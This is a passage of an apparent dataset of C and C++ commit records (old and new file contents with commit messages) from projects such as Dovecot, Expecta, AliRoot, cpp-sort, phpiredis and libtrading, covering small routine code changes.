project.\n","lang":"C","license":"mit","repos":"AymericGenet\/SPHINCS-arduinodue,AymericGenet\/SPHINCS-arduinodue,AymericGenet\/SPHINCS-arduinodue"}
{"commit":"c75706f29ac0844cc480f6333415830f5983d6f7","old_file":"src\/lib\/str-sanitize.c","new_file":"src\/lib\/str-sanitize.c","old_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","new_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","subject":"Convert also 0x80..0x9f characters to '?'","message":"Convert also 0x80..0x9f characters to '?'\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"f73128a5e940256d42bdb0efcb62ab2653910614","old_file":"src\/matchers\/EXPMatchers+beIdenticalTo.h","new_file":"src\/matchers\/EXPMatchers+beIdenticalTo.h","old_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_beIdenticalTo, (void *expected));\n\n#if __has_feature(objc_arc)\n#define beIdenticalTo(expected) _beIdenticalTo((__bridge void*)expected)\n#else\n#define beIdenticalTo _beIdenticalTo\n#endif\n","new_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_beIdenticalTo, (void *expected));\nEXPMatcherInterface(beIdenticalTo, (void *expected)); \/\/ to aid code completion\n\n#if __has_feature(objc_arc)\n#define beIdenticalTo(expected) _beIdenticalTo((__bridge void*)expected)\n#else\n#define beIdenticalTo _beIdenticalTo\n#endif\n","subject":"Add code completion helper for beIdenticalTo()","message":"Add code completion helper for beIdenticalTo()\n\nLike for equal() this helps discovering the matcher using code completion in Xcode.","lang":"C","license":"mit","repos":"specta\/expecta,iosdev-republicofapps\/expecta,tonyarnold\/expecta,jmoody\/expecta,Bogon\/expecta,suxinde2009\/expecta,jmburges\/expecta,wessmith\/expecta,udemy\/expecta,PatrykKaczmarek\/expecta,iosdev-republicofapps\/expecta,ashfurrow\/expecta,PatrykKaczmarek\/expecta,tonyarnold\/expecta,ashfurrow\/expecta,jmoody\/expecta,tonyarnold\/expecta,jmoody\/expecta,ashfurrow\/expecta,PatrykKaczmarek\/expecta,suxinde2009\/expecta,iguchunhui\/expecta,Lightricks\/expecta,modocache\/expecta,jmoody\/expecta,Lightricks\/expecta,Bogon\/expecta,jmburges\/expecta,ashfurrow\/expecta,jmburges\/expecta,wessmith\/expecta,udemy\/expecta,tonyarnold\/expecta,PatrykKaczmarek\/expecta,modocache\/expecta,modocache\/expecta,jmburges\/expecta,modocache\/expecta,iosdev-republicofapps\/expecta,iosdev-republicofapps\/expecta,iguchunhui\/expecta"}
{"commit":"b6800f292aa9a9e229e9ae3e50a617f50d6fe82e","old_file":"HLT\/PHOS\/AliHLTPHOSModuleCellAccumulatedEnergyDataStruct.h","new_file":"HLT\/PHOS\/AliHLTPHOSModuleCellAccumulatedEnergyDataStruct.h","old_contents":"","new_contents":"#ifndef ALIHLTPHOSNODULECELLACCUMULATEDENERGYDATASTRUCT_H\n#define ALIHLTPHOSNODULECELLACCUMULATEDENERGYDATASTRUCT_H\n\n\/***************************************************************************\n * Copyright(c) 2007, ALICE Experiment at CERN, All rights reserved.       *\n *                                                                         *\n * Author: Per Thomas Hille <perthi@fys.uio.no> for the ALICE HLT Project. *\n * Contributors are mentioned in the code where appropriate.               *\n *                                                                         *\n * Permission to use, copy, modify and distribute this software and its    *\n * documentation strictly for non-commercial purposes is hereby granted    *\n * without fee, provided that the above copyright notice appears in all    *\n * copies and that both the copyright notice and this permission notice    *\n * appear in the supporting documentation. The authors make no claims      *\n * about the suitability of this software for any purpose. It is           *\n * provided \"as is\" without express or implied warranty.                   *\n **************************************************************************\/\n\n#include \"AliHLTPHOSCommonDefs.h\"\n\/\/#include \"AliHLTPHOSValidCellDataStruct.h\"\n\nstruct AliHLTPHOSModuleCellAccumulatedEnergyDataStruct\n{\n  AliHLTUInt8_t fModuleID;\n\n  \/\/  Int_t fModuleID;\n\n  \/\/  AliHLTUInt16_t fCnt;\n  \/\/  AliHLTUInt16_t fValidData[N_ROWS_MOD*N_COLUMNS_MOD*N_GAINS];\n  \n  \/\/  AliHLTPHOSValidCellDataStruct fValidData[N_MODULES*N_ROWS_MOD*N_COLUMNS_MOD*N_GAINS]; \n\n  \/\/  Double_t fAccumulatedEnergies[N_ZROWS_MOD][N_XCOLUMNS_MOD][N_GAINS];\n  Float_t fAccumulatedEnergies[N_ZROWS_MOD][N_XCOLUMNS_MOD][N_GAINS];\n  AliHLTUInt32_t fHits[N_ZROWS_MOD][N_XCOLUMNS_MOD][N_GAINS];\n};\n\n\n#endif\n","subject":"Structure to hold information about accumualted energy in each cell (crystall) as well as the number of hits. Used by the onlinedisplay and the Histogranproducer component.","message":"Structure to hold information about accumualted energy in each cell (crystall)\nas well as the number of hits. Used by the onlinedisplay and the Histogranproducer component.\n\n","lang":"C","license":"bsd-3-clause","repos":"alisw\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot"}
{"commit":"ba8f2bf8ca42a4150dce14ee87e0b2c69ae58ad2","old_file":"testmud\/mud\/include\/game\/paths.h","new_file":"testmud\/mud\/include\/game\/paths.h","old_contents":"#include <config.h>\n\n#define LIB_VERB\t\t(USR_DIR + \"\/Game\/lib\/verb\")\n#define LIB_SIGHANDLER\t\t(USR_DIR + \"\/Game\/lib\/sighandler\")\n#define GAME_LIB_OBJECT\t\t(USR_DIR + \"\/Game\/lib\/object\")\n\n#define ALIASD\t\t\t(USR_DIR + \"\/Game\/sys\/aliasd\")\n#define ACCOUNTD\t\t(USR_DIR + \"\/Game\/sys\/accountd\")\n#define ROOT\t\t\t(USR_DIR + \"\/Game\/sys\/root\")\n#define SNOOPD\t\t\t(USR_DIR + \"\/Game\/sys\/snoopd\")\n#define GAME_HELPD\t\t(USR_DIR + \"\/Game\/sys\/helpd\")\n#define GAME_DRIVER\t\t(USR_DIR + \"\/Game\/sys\/driver\")\n#define GAME_USERD\t\t(USR_DIR + \"\/Game\/sys\/userd\")\n","new_contents":"#include <config.h>\n\n#define LIB_VERB\t\t(USR_DIR + \"\/Game\/lib\/verb\")\n#define LIB_SIGHANDLER\t\t(USR_DIR + \"\/Game\/lib\/sighandler\")\n#define GAME_LIB_OBJECT\t\t(USR_DIR + \"\/Game\/lib\/object\")\n\n#define ALIASD\t\t\t(USR_DIR + \"\/Game\/sys\/aliasd\")\n#define BAND\t\t\t(USR_DIR + \"\/Game\/sys\/band\")\n#define ACCOUNTD\t\t(USR_DIR + \"\/Game\/sys\/accountd\")\n#define ROOT\t\t\t(USR_DIR + \"\/Game\/sys\/root\")\n#define SNOOPD\t\t\t(USR_DIR + \"\/Game\/sys\/snoopd\")\n#define GAME_HELPD\t\t(USR_DIR + \"\/Game\/sys\/helpd\")\n#define GAME_DRIVER\t\t(USR_DIR + \"\/Game\/sys\/driver\")\n#define GAME_USERD\t\t(USR_DIR + \"\/Game\/sys\/userd\")\n","subject":"Add ban manager to game object list","message":"Add ban manager to game object list\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"2070f194f2fe399158cbc43a7379ef5572761950","old_file":"include\/cpp-sort\/detail\/functional.h","new_file":"include\/cpp-sort\/detail\/functional.h","old_contents":"\/*\n * Copyright (c) 2021 Morwenn\n * SPDX-License-Identifier: MIT\n *\/\n#ifndef CPPSORT_DETAIL_FUNCTIONAL_H_\n#define CPPSORT_DETAIL_FUNCTIONAL_H_\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <type_traits>\n#include <utility>\n#include <cpp-sort\/utility\/as_function.h>\n\nnamespace cppsort\n{\nnamespace detail\n{\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ indirect\n\n    template<typename Projection>\n    class indirect_t\n    {\n        private:\n\n            Projection projection;\n\n        public:\n\n            indirect_t() = delete;\n\n            explicit indirect_t(Projection projection):\n                projection(std::move(projection))\n            {}\n\n            template<typename T>\n            auto operator()(T&& indirect_value)\n                -> decltype(utility::as_function(projection)(*indirect_value))\n            {\n                auto&& proj = utility::as_function(projection);\n                return proj(*indirect_value);\n            }\n\n            template<typename T>\n            auto operator()(T&& indirect_value) const\n                -> decltype(utility::as_function(projection)(*indirect_value))\n            {\n                auto&& proj = utility::as_function(projection);\n                return proj(*indirect_value);\n            }\n    };\n\n    template<typename Projection>\n    auto indirect(Projection&& proj)\n        -> indirect_t<std::decay_t<Projection>>\n    {\n        return indirect_t<std::decay_t<Projection>>(std::forward<Projection>(proj));\n    }\n}}\n\n#endif \/\/ CPPSORT_DETAIL_FUNCTIONAL_H_\n","new_contents":"\/*\n * Copyright (c) 2021-2022 Morwenn\n * SPDX-License-Identifier: MIT\n *\/\n#ifndef CPPSORT_DETAIL_FUNCTIONAL_H_\n#define CPPSORT_DETAIL_FUNCTIONAL_H_\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <type_traits>\n#include <utility>\n#include <cpp-sort\/utility\/as_function.h>\n#include <cpp-sort\/utility\/functional.h>\n\nnamespace cppsort\n{\nnamespace detail\n{\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ indirect\n\n    template<typename Projection>\n    class indirect_t:\n        utility::projection_base\n    {\n        private:\n\n            Projection projection;\n\n        public:\n\n            indirect_t() = delete;\n\n            explicit indirect_t(Projection projection):\n                projection(std::move(projection))\n            {}\n\n            template<typename T>\n            auto operator()(T&& indirect_value)\n                -> decltype(utility::as_function(projection)(*indirect_value))\n            {\n                auto&& proj = utility::as_function(projection);\n                return proj(*indirect_value);\n            }\n\n            template<typename T>\n            auto operator()(T&& indirect_value) const\n                -> decltype(utility::as_function(projection)(*indirect_value))\n            {\n                auto&& proj = utility::as_function(projection);\n                return proj(*indirect_value);\n            }\n    };\n\n    template<typename Projection>\n    auto indirect(Projection&& proj)\n        -> indirect_t<std::decay_t<Projection>>\n    {\n        return indirect_t<std::decay_t<Projection>>(std::forward<Projection>(proj));\n    }\n}}\n\n#endif \/\/ CPPSORT_DETAIL_FUNCTIONAL_H_\n","subject":"Make indirect_t inherit from projection_base","message":"Make indirect_t inherit from projection_base\n","lang":"C","license":"mit","repos":"Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort"}
{"commit":"0dac68d485c739947ea064b63dd4312ffc42a96c","old_file":"You-DataStore\/internal\/operations\/erase_operation.h","new_file":"You-DataStore\/internal\/operations\/erase_operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n\n#include \"..\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\nclass EraseOperation : public IOperation {\npublic:\n\tEraseOperation(TaskId);\n\tbool run();\n};\n}  \/\/ namespace Internal\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n\n#include \"..\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\nclass EraseOperation : public IOperation {\npublic:\n\texplicit EraseOperation(TaskId);\n\tbool run();\n};\n}  \/\/ namespace Internal\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATIONS_ERASE_OPERATION_H_\n","subject":"Add explicit modifier to EraseOperation ctor","message":"Add explicit modifier to EraseOperation ctor\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"ce8c68c164436fbd394bac5c2287cfebe06e8f7c","old_file":"example-AllComponentsGui\/src\/ofApp.h","new_file":"example-AllComponentsGui\/src\/ofApp.h","old_contents":"#pragma once\n\n#include \"ofMain.h\"\n#include \"ofxDatGui.h\"\n\nclass ofApp : public ofBaseApp{\n\n\tpublic:\n        void setup();\n        void draw();\n        void update();\n    \n        ofxDatGui* gui;\n        bool mFullscreen;\n        void refreshWindow();\n        void toggleFullscreen();\n\n        void keyPressed(int key);\n        void onButtonEvent(ofxDatGuiButtonEvent e);\n        void onSliderEvent(ofxDatGuiSliderEvent e);\n        void onTextInputEvent(ofxDatGuiTextInputEvent e);\n        void on2dPadEvent(ofxDatGui2dPadEvent e);\n        void onDropdownEvent(ofxDatGuiDropdownEvent e);\n        void onColorPickerEvent(ofxDatGuiColorPickerEvent e);\n        void onMatrixEvent(ofxDatGuiMatrixEvent e);\n    \n        uint tIndex;\n        vector<ofxDatGuiTheme*> themes;\n\n};\n","new_contents":"#pragma once\n\n#include \"ofMain.h\"\n#include \"ofxDatGui.h\"\n\nclass ofApp : public ofBaseApp{\n\n\tpublic:\n        void setup();\n        void draw();\n        void update();\n    \n        ofxDatGui* gui;\n        bool mFullscreen;\n        void refreshWindow();\n        void toggleFullscreen();\n\n        void keyPressed(int key);\n        void onButtonEvent(ofxDatGuiButtonEvent e);\n        void onSliderEvent(ofxDatGuiSliderEvent e);\n        void onTextInputEvent(ofxDatGuiTextInputEvent e);\n        void on2dPadEvent(ofxDatGui2dPadEvent e);\n        void onDropdownEvent(ofxDatGuiDropdownEvent e);\n        void onColorPickerEvent(ofxDatGuiColorPickerEvent e);\n        void onMatrixEvent(ofxDatGuiMatrixEvent e);\n    \n        unsigned int tIndex;\n        vector<ofxDatGuiTheme*> themes;\n\n};\n","subject":"Fix for AllComponentsGui example under Visual Studio","message":"Fix for AllComponentsGui example under Visual Studio\n","lang":"C","license":"mit","repos":"mrbichel\/ofxDatGui"}
{"commit":"730835bec1656c455fb759ebb4d22dcfc595f933","old_file":"LCDManager.h","new_file":"LCDManager.h","old_contents":"#ifndef LCDManager_h\n#define LCDManager_h\n\n#include \"Arduino.h\"\n#include <LiquidCrystalSPI.h>\n\nclass LCDManager{\n\tpublic :\n\t\tLCDManager(int line, int cols, int pin);\n\t\tLiquidCrystalSPI screen();\n\t\tvoid clearLine(int line);\n\t\tvoid backlight(bool status);\n\t\tvoid setBacklightPin(int pin);\n\t\tvoid message(String message);\n\t\tvoid refreshDisplay();\n\t\t\n\tprivate :\n\t\tvoid displayMessage();\n\t\t\n\t\tString messageBuffer;\n\t\tLiquidCrystalSPI theScreen;\n\t\tint lines;\n\t\tint cols;\n\t\tint currentTextScrollPosition;\n\t\tint currentTextChar;\n\t\tbool hasDisplayFirstLoop;\n\t\tint pinBacklight;\n\t\tlong lastTimer;\n        int timeBetweenRefresh;\n};\n\n#endif","new_contents":"#ifndef LCDManager_h\n#define LCDManager_h\n\n#include \"Arduino.h\"\n#include <LiquidCrystalSPI.h>\n#include <SPI.h>\n\nclass LCDManager{\n\tpublic :\n\t\tLCDManager(int line, int cols, int pin);\n\t\tLiquidCrystalSPI screen();\n\t\tvoid clearLine(int line);\n\t\tvoid backlight(bool status);\n\t\tvoid setBacklightPin(int pin);\n\t\tvoid message(String message);\n\t\tvoid refreshDisplay();\n\t\t\n\tprivate :\n\t\tvoid displayMessage();\n\t\t\n\t\tString messageBuffer;\n\t\tLiquidCrystalSPI theScreen;\n\t\tint lines;\n\t\tint cols;\n\t\tint currentTextScrollPosition;\n\t\tint currentTextChar;\n\t\tbool hasDisplayFirstLoop;\n\t\tint pinBacklight;\n\t\tlong lastTimer;\n        int timeBetweenRefresh;\n};\n\n#endif","subject":"Add the import for SPI in the library directly","message":"Add the import for SPI in the library directly\n","lang":"C","license":"apache-2.0","repos":"thibautrey\/ArduinoScreenMessage"}
{"commit":"9a909d3e6778fd655397f304bf42cdce163e43a0","old_file":"php_phpiredis.h","new_file":"php_phpiredis.h","old_contents":"#ifndef PHP_PHPIREDIS_H\n#define PHP_PHPIREDIS_H 1\n\n#define PHP_PHPIREDIS_VERSION \"1.0\"\n#define PHP_PHPIREDIS_EXTNAME \"phpiredis\"\n\nPHP_MINIT_FUNCTION(phpiredis);\nPHP_FUNCTION(phpiredis_connect);\nPHP_FUNCTION(phpiredis_pconnect);\nPHP_FUNCTION(phpiredis_disconnect);\nPHP_FUNCTION(phpiredis_command_bs);\nPHP_FUNCTION(phpiredis_command);\nPHP_FUNCTION(phpiredis_multi_command);\nPHP_FUNCTION(phpiredis_multi_command_bs);\nPHP_FUNCTION(phpiredis_format_command);\nPHP_FUNCTION(phpiredis_reader_create);\nPHP_FUNCTION(phpiredis_reader_reset);\nPHP_FUNCTION(phpiredis_reader_feed);\nPHP_FUNCTION(phpiredis_reader_get_state);\nPHP_FUNCTION(phpiredis_reader_get_error);\nPHP_FUNCTION(phpiredis_reader_get_reply);\nPHP_FUNCTION(phpiredis_reader_destroy);\nPHP_FUNCTION(phpiredis_reader_set_error_handler);\nPHP_FUNCTION(phpiredis_reader_set_status_handler);\n\nextern zend_module_entry phpiredis_module_entry;\n#define phpext_phpiredis_ptr &phpiredis_module_entry\n\n#endif\n","new_contents":"#ifndef PHP_PHPIREDIS_H\n#define PHP_PHPIREDIS_H 1\n\n#define PHP_PHPIREDIS_VERSION \"1.0.0\"\n#define PHP_PHPIREDIS_EXTNAME \"phpiredis\"\n\nPHP_MINIT_FUNCTION(phpiredis);\nPHP_FUNCTION(phpiredis_connect);\nPHP_FUNCTION(phpiredis_pconnect);\nPHP_FUNCTION(phpiredis_disconnect);\nPHP_FUNCTION(phpiredis_command_bs);\nPHP_FUNCTION(phpiredis_command);\nPHP_FUNCTION(phpiredis_multi_command);\nPHP_FUNCTION(phpiredis_multi_command_bs);\nPHP_FUNCTION(phpiredis_format_command);\nPHP_FUNCTION(phpiredis_reader_create);\nPHP_FUNCTION(phpiredis_reader_reset);\nPHP_FUNCTION(phpiredis_reader_feed);\nPHP_FUNCTION(phpiredis_reader_get_state);\nPHP_FUNCTION(phpiredis_reader_get_error);\nPHP_FUNCTION(phpiredis_reader_get_reply);\nPHP_FUNCTION(phpiredis_reader_destroy);\nPHP_FUNCTION(phpiredis_reader_set_error_handler);\nPHP_FUNCTION(phpiredis_reader_set_status_handler);\n\nextern zend_module_entry phpiredis_module_entry;\n#define phpext_phpiredis_ptr &phpiredis_module_entry\n\n#endif\n","subject":"Add patch release in PHP_PHPIREDIS_VERSION.","message":"Add patch release in PHP_PHPIREDIS_VERSION.\n","lang":"C","license":"bsd-2-clause","repos":"jymsy\/phpiredis,nrk\/phpiredis,RustJason\/phpiredis,Danack\/phpiredis,RustJason\/phpiredis,Danack\/phpiredis,jymsy\/phpiredis,RustJason\/phpiredis,nrk\/phpiredis,Danack\/phpiredis,nrk\/phpiredis"}
{"commit":"ae193c0aadeaa9be7e65afa87268436ee582fdb3","old_file":"src\/thsh.c","new_file":"src\/thsh.c","old_contents":"\/*\n ============================================================================\n Name        : thsh.c\n Authors     : Collin Kruger, Denton Underwood, John Christensen, Jon Stacey\n Version     :\n Copyright   : Copyright 2009 Jon Stacey. All rights reserved.\n Description : Hello World in C, Ansi-style\n ============================================================================\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void) {\n\tputs(\"!!!Hello World!!!\"); \/* prints !!!Hello World!!! *\/\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"\/*\n ============================================================================\n Name        : thsh.c\n Authors     : Collin Kruger, Denton Underwood, John Christensen, Jon Stacey\n Version     :\n Copyright   : Copyright 2009 Jon Stacey. All rights reserved.\n Description : Hello World in C, Ansi-style\n ============================================================================\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void) {\n\tsetvbuf(stdout, NULL, _IONBF, 0); \/\/ Disable buffering in accordance to http:\/\/homepages.tesco.net\/J.deBoynePollard\/FGA\/capture-console-win32.html\n\n\tputs(\"!!!Hello World!!!\"); \/* prints !!!Hello World!!! *\/\n\treturn EXIT_SUCCESS;\n}\n","subject":"Disable buffering to overcome apparent Eclipse bug","message":"Disable buffering to overcome apparent Eclipse bug\n","lang":"C","license":"mit","repos":"jmstacey\/thsh"}
{"commit":"13b3021a24f7801a340a4974da3a79cfca95efb8","old_file":"common\/common.h","new_file":"common\/common.h","old_contents":"#ifndef PS2AUTOTESTS_COMMON_H\n#define PS2AUTOTESTS_COMMON_H\n\n#include <stdio.h>\n#include <tamtypes.h>\n\n\/\/ Defines for MSVC highlighting.  Not intended to actually compile with msc.\n#ifdef _MSC_VER\nvoid printf(const char *s, ...);\n#define __attribute__(x)\n#endif\n\n#endif\n","new_contents":"#ifndef PS2AUTOTESTS_COMMON_H\n#define PS2AUTOTESTS_COMMON_H\n\n\/\/ Defines for MSVC highlighting.  Not intended to actually compile with msc.\n#ifdef _MSC_VER\n#define __STDC__\n#define _EE\n#define __attribute__(x)\n#endif\n\n#include <stdio.h>\n#include <tamtypes.h>\n\n#endif\n","subject":"Adjust MSVC highlighting defines a bit.","message":"Adjust MSVC highlighting defines a bit.\n","lang":"C","license":"isc","repos":"jpd002\/ps2autotests,jpd002\/ps2autotests,unknownbrackets\/ps2autotests,unknownbrackets\/ps2autotests,unknownbrackets\/ps2autotests,jpd002\/ps2autotests"}
{"commit":"79d5319f4425e30f25252de6313c62e36347c622","old_file":"include\/libtrading\/proto\/omx_moldudp.h","new_file":"include\/libtrading\/proto\/omx_moldudp.h","old_contents":"","new_contents":"#ifndef LIBTRADING_OMX_MOLDUDP_MESSAGE_H\n#define LIBTRADING_OMX_MOLDUDP_MESSAGE_H\n\n#include \"libtrading\/types.h\"\n\nstruct omx_moldudp_header {\n\tchar\t\t\tSession[10];\n\tle32\t\t\tSequenceNumber;\n\tle16\t\t\tMessageCount;\n} packed;\n\nstruct omx_moldudp_message {\n\tle16\t\t\tMessageLength;\n} packed;\n\nstruct omx_moldudp_request {\n\tchar\t\t\tSession[10];\n\tle32\t\t\tSequenceNumber;\n\tle16\t\t\tRequestedMessageCount;\n} packed;\n\nstatic inline struct omx_moldudp_message *omx_moldudp_payload(struct omx_moldudp_header *msg)\n{\n\treturn (void *) msg + sizeof(struct omx_moldudp_header);\n}\n\nstatic inline void *omx_moldudp_message_payload(struct omx_moldudp_message *msg)\n{\n\treturn (void *) msg + sizeof(struct omx_moldudp_message);\n}\n\n#endif\n","subject":"Add NASDAQ OMX MoldUDP 1.02a","message":"Add NASDAQ OMX MoldUDP 1.02a\n\nThe protocol version is not mentioned in the implementation name because\nlast change was made in 2006.\n\nReviewed-by: Ville Aine <011d7a94c7f99119e473bfaf4cedd17c6b1552f1@iki.fi>\nSigned-off-by: Jussi Virtanen <2a7e40f91a3be32dfb7e35af6e476a252ebdb4f3@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"jvirtanen\/libtrading,svdev\/libtrading,NunoEdgarGub1\/libtrading,libtrading\/libtrading,penberg\/libtrading,libtrading\/libtrading,fengzhyuan\/libtrading,divaykin\/libtrading,etoestja\/libtrading,svdev\/libtrading,Bitcoinsulting\/libtrading,divaykin\/libtrading,jvirtanen\/libtrading,femtotrader\/libtrading,mstanichenko\/libtrading,etoestja\/libtrading,mstanichenko\/libtrading,NunoEdgarGub1\/libtrading,penberg\/libtrading,Bitcoinsulting\/libtrading,fengzhyuan\/libtrading,femtotrader\/libtrading"}
{"commit":"66dc55d4af2bb508965b87745fa1201298105650","old_file":"gui\/profiledialog.h","new_file":"gui\/profiledialog.h","old_contents":"#ifndef PROFILEDIALOG_H\n#define PROFILEDIALOG_H\n\n#include \"ui_profiledialog.h\"\n#include <QDialog>\n\nnamespace trace { class Profile; }\n\nclass ProfileDialog : public QDialog, public Ui_ProfileDialog\n{\n    Q_OBJECT\n\npublic:\n    ProfileDialog(QWidget *parent = 0);\n    ~ProfileDialog();\n    \n    void setProfile(trace::Profile* profile);\n\npublic slots:\n    void setVerticalScrollMax(int max);\n    void setHorizontalScrollMax(int max);\n\n    void tableDoubleClicked(const QModelIndex& index);\n\n    void selectionChanged(int64_t start, int64_t end);\n\nsignals:\n    void jumpToCall(int call);\n\nprivate:\n    trace::Profile *m_profile;\n};\n\n#endif\n","new_contents":"#ifndef PROFILEDIALOG_H\n#define PROFILEDIALOG_H\n\n#include \"ui_profiledialog.h\"\n#include <QDialog>\n\nnamespace trace { struct Profile; }\n\nclass ProfileDialog : public QDialog, public Ui_ProfileDialog\n{\n    Q_OBJECT\n\npublic:\n    ProfileDialog(QWidget *parent = 0);\n    ~ProfileDialog();\n    \n    void setProfile(trace::Profile* profile);\n\npublic slots:\n    void setVerticalScrollMax(int max);\n    void setHorizontalScrollMax(int max);\n\n    void tableDoubleClicked(const QModelIndex& index);\n\n    void selectionChanged(int64_t start, int64_t end);\n\nsignals:\n    void jumpToCall(int call);\n\nprivate:\n    trace::Profile *m_profile;\n};\n\n#endif\n","subject":"Fix erroneous class Profile forward declaration to struct Profile.","message":"Fix erroneous class Profile forward declaration to struct 